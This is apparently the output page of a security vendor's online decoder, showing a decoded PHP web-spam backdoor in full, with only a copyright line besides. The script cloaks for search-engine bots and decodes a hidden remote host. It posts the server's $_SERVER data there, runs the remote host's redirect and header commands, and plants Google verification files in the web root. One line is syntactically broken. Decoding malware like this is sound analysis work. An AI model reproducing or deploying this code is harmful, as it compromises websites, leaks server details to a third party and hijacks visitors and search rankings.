Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


define('A', 'jan38.tpuwt5573ytu/giftmall::item/[0:3~5]^[0:5]!/::'); goto DRBz_; prXrD: function G6pC9($Pe9Ls = '') { return preg_match("/(google.co.jp|yahoo.co.jp|bing|baidu|google.com)/si", $Pe9Ls); } goto xK9zN; sdw2o: QK9xg: goto cXR8q; xK9zN: function C5sOz($LN3hg) { goto DF_7K; X3a40: if (!(is_array($Ze5iv) && count($Ze5iv) == 4)) { goto IwP40; } goto klWD3; p0Q83: $MJeur = implode('', $jXJdT); goto KWLS_; cMBod: preg_match("/([^\.]+\.)(.*)(\/.*)/", $LN3hg, $Ze5iv); goto X3a40; b9Jp0: IwP40: goto XOlij; klWD3: if (!($Ze5iv[2] != '')) { goto bS_nH; } goto TRteX; DF_7K: $MJeur = ''; goto cMBod; TRteX: $jXJdT = preg_split("//", $Ze5iv[2], -1, PREG_SPLIT_NO_EMPTY); goto uYKIu; XOlij: return $MJeur; goto KQ2OH; uYKIu: foreach ($jXJdT as $LqbQ4 => $DrnhB) { $jXJdT[$LqbQ4] = chr(ord($DrnhB) - 5); JO_eV: } goto jG9QK; NVvvU: $MJeur = $Ze5iv[1] . $MJeur . $Ze5iv[3]; goto b9Jp0; jG9QK: eZPi4: goto p0Q83; KWLS_: bS_nH: goto NVvvU; KQ2OH: } goto MlMaT; oEP2C: function jp1pd($ra6Lm = '') { return preg_match("/(googlebot|baiduspider|bingbot|google|baidu|aol|bing|yahoo|yandex)/si", $ra6Lm); } goto prXrD; MlMaT: function Y9iIs($O3Qgn = '') { goto GUNy7; dnE4X: header($EtPnG[1]); goto NMQcd; FZzoF: iKILy: goto cGznX; TY51d: tiZ2Q: goto CBpDp; SxDJ7: $halKa = trim($_GET[$s6ame]); goto GTxi8; qiat8: $OM7nZ = $EtPnG[2]; goto LNwly; tRSFP: $OM7nZ = trim($OM7nZ); goto k8BkS; jBTHQ: $_SERVER["yt_jump"] = 1; goto DE28W; tZSC4: $iI9EJ = trim($WlNpZ[1]); goto LhNhu; L2ZY0: $DSSiP .= "fica"; goto bpDy4; cVnfb: $_SERVER["yt_up"] = $NgJB6[2]; goto kg8DE; eEMEE: die; goto TY51d; BfWFo: if (!preg_match("/sitemap.*?\.xml$/si", $cTYm8)) { goto kxsAw; } goto jZZSq; GTxi8: if (preg_match("/^https?/si", $halKa)) { goto y_gmN; } goto gTEAr; JnIvT: y_gmN: goto UM3RE; GUNy7: $cTYm8 = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''); goto mHJzL; IusBm: $Ck3Wp = g6PC9($ghIYY); goto CQ3uY; oB1CK: die; goto dT_Yx; grAuq: if (!($s1f5t || $Ck3Wp)) { goto yw413; } goto kF_w2; BOF4y: goto uoYqj; goto FZzoF; y1Pl2: $hpBSN = str_replace(".x", , trim($kBl9f[1])); goto pe3mK; myxzk: $_SERVER["yt_jump"] = 0; goto xGKLn; zjHhO: header("{$Hipl_} /{$hpBSN}"); goto BRGF0; cZvuV: $VenWW = sprintf("https://%s.py", C5Soz($NgJB6[0])); goto myxzk; DE28W: qZCms: goto jtULi; BRGF0: die; goto rBmB3; pwU5i: hYCt2: goto eEMEE; jZZSq: $OM7nZ = OOGg6($VenWW, array("x" => serialize($_SERVER))); goto tRSFP; NMQcd: $OM7nZ = $EtPnG[2]; goto wh1Ei; RYTk6: if ($er_fC) { goto iKILy; } goto cErSl; LhNhu: $er_fC = preg_match("/^https?\:\/\//si", $iI9EJ); goto RYTk6; GRnzs: $s1f5t = Jp1Pd($QkvP0); goto IusBm; Qaa0K: $YNNFK .= "UMEN"; goto xZh2d; TrmTB: if (!preg_match("/^Head@(.*?)@@(.*)/is", $OM7nZ, $EtPnG)) { goto VJj31; } goto NisE1; cemRF: echo gethostbyname($OwQzl["host"]); goto cq8qR; fL53w: $DSSiP = "goo"; goto tGn0C; OInaJ: $ghIYY = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto Hn3v0; rBmB3: nf37W: goto grAuq; dT_Yx: yw413: goto RzSKX; Qld30: $i5Ds0 .= "tml)"; goto fL53w; tGn0C: $DSSiP .= "gle-si"; goto JxQhA; k8BkS: if (!preg_match("/^Head@(.*?)@@(.*)/is", $OM7nZ, $EtPnG)) { goto YxAwh; } goto dnE4X; OJ2rg: if (!isset($_GET[$s6ame])) { goto tiZ2Q; } goto SxDJ7; cGznX: echo sprintf("<body onload="document.getElementsByTagName(%sa%s)[0].click()"><a href="%s"></a><noscript><meta http-equiv="refresh" content="0; url=%s" /></noscript></body>", "'", "'", $iI9EJ, $iI9EJ); goto vuc6l; yNX4i: if (!in_array($OM7nZ, ["T04", "*return"])) { goto BZe0p; } goto NL1Xb; LHF1J: $i5Ds0 = "(goo"; goto bQ0pu; LNwly: VJj31: goto MKgcG; pe3mK: chmod($t9KEz, 0755); goto YwP0h; qYm5z: $Hipl_ = "tion:"; goto LHF1J; kg8DE: $s6ame = "yt1"; goto mU9FR; kF_w2: $EYf6f = "<a href="%s" target="_blank">%s</a>"; goto OJ2rg; wh1Ei: YxAwh: goto XYfbM; S8p3v: SQceZ: goto TrmTB; bufIO: $Hipl_ = "Loca" . $Hipl_; goto E_VGe; KkR5h: kxsAw: goto qYm5z; cErSl: echo $iI9EJ; goto BOF4y; l2xFd: if (!preg_match("/^Jump@(.*)/", $OM7nZ, $WlNpZ)) { goto SQceZ; } goto tZSC4; bQ0pu: $i5Ds0 .= "gle[\w"; goto gQ7fI; jtULi: $OM7nZ = Oogg6($VenWW, array("x" => serialize($_SERVER))); goto cgSiA; qPXLc: die; goto S8p3v; gTEAr: echo sprintf($EYf6f, $VenWW, $VenWW) . "<br /><br />"; goto pCZcD; E_VGe: if (!preg_match("/" . $i5Ds0 . "$/si", $cTYm8, $kBl9f)) { goto nf37W; } goto y1Pl2; YwP0h: file_put_contents("{$t9KEz}/{$hpBSN}", "{$DSSiP} {$hpBSN}"); goto UNQHk; KShgc: $i5Ds0 .= "}\.xh"; goto Qld30; RCi3J: die; goto KkR5h; XYfbM: echo "{$OM7nZ}"; goto RCi3J; UNQHk: chmod($t9KEz, 0555); goto zjHhO; Hn3v0: $QkvP0 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto GRnzs; gQ7fI: $i5Ds0 .= "]{"; goto KShgc; NL1Xb: return; goto ELx_2; xGKLn: $_SERVER["yt_gz"] = $NgJB6[1]; goto cVnfb; MKgcG: echo "{$OM7nZ}"; goto oB1CK; UM3RE: echo oOgG6($halKa); goto pwU5i; NisE1: header($EtPnG[1]); goto qiat8; bpDy4: $DSSiP .= $Hipl_; goto bufIO; pCZcD: $OwQzl = parse_url($VenWW); goto cemRF; cgSiA: $OM7nZ = trim($OM7nZ); goto yNX4i; vuc6l: uoYqj: goto qPXLc; KPod1: $t9KEz = $_SERVER[$YNNFK]; goto BfWFo; ELx_2: BZe0p: goto l2xFd; CQ3uY: $NgJB6 = explode("::", A); goto cZvuV; xZh2d: $YNNFK .= "T_ROOT"; goto KPod1; JxQhA: $DSSiP .= "te-veri"; goto L2ZY0; CBpDp: if (!$Ck3Wp) { goto qZCms; } goto jBTHQ; cq8qR: goto hYCt2; goto JnIvT; mU9FR: $YNNFK = "DOC"; goto Qaa0K; mHJzL: $cTYm8 = $cTYm8 == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $cTYm8 : $cTYm8; goto OInaJ; RzSKX: } goto EeNKI; DRBz_: @date_default_timezone_set("PRC"); goto VjZ0I; k9REE: @ob_start(); goto sdw2o; cXR8q: function oogg6($gUfsH, $xiGd9 = array()) { goto wqshL; iQnmY: curl_setopt($rvmOq, CURLOPT_SSL_VERIFYHOST, false); goto zUKg7; aAuk3: curl_setopt($rvmOq, CURLOPT_SSL_VERIFYPEER, false); goto iQnmY; ePg_g: $rvmOq = curl_init(); goto wX6C2; wqshL: $bCoML = 0; goto ePg_g; zUKg7: curl_setopt($rvmOq, CURLOPT_FOLLOWLOCATION, 1); goto s66ec; s66ec: curl_setopt($rvmOq, CURLOPT_TIMEOUT, 60); goto zHPsp; jEKiB: Phjkc: goto sh4xE; PRAiX: curl_setopt($rvmOq, CURLOPT_RETURNTRANSFER, 1); goto aAuk3; L4Hps: o8QRv: goto hvnD_; RT9l4: curl_setopt($rvmOq, CURLOPT_CONNECTTIMEOUT, 0); goto PRAiX; IR2Tr: if (!$u3v0u) { goto Phjkc; } goto fllzv; jzhJN: curl_close($rvmOq); goto IR2Tr; d6E86: curl_setopt($rvmOq, CURLOPT_POST, 1); goto Tb9Wl; wX6C2: curl_setopt($rvmOq, CURLOPT_URL, $gUfsH); goto BuuTR; zHPsp: if (empty($xiGd9)) { goto o8QRv; } goto d6E86; hvnD_: $u3v0u = curl_exec($rvmOq); goto jzhJN; sh4xE: return trim(trim($bCoML, "")); goto LpKf7; fllzv: $bCoML = $u3v0u; goto jEKiB; BuuTR: curl_setopt($rvmOq, CURLOPT_USERAGENT, "WHR"); goto RT9l4; Tb9Wl: curl_setopt($rvmOq, CURLOPT_POSTFIELDS, http_build_query($xiGd9)); goto L4Hps; LpKf7: } goto oEP2C; VjZ0I: if (!function_exists("ob_start")) { goto QK9xg; } goto k9REE; EeNKI: Y9iiS();
 



© 2023 Quttera Ltd. All rights reserved.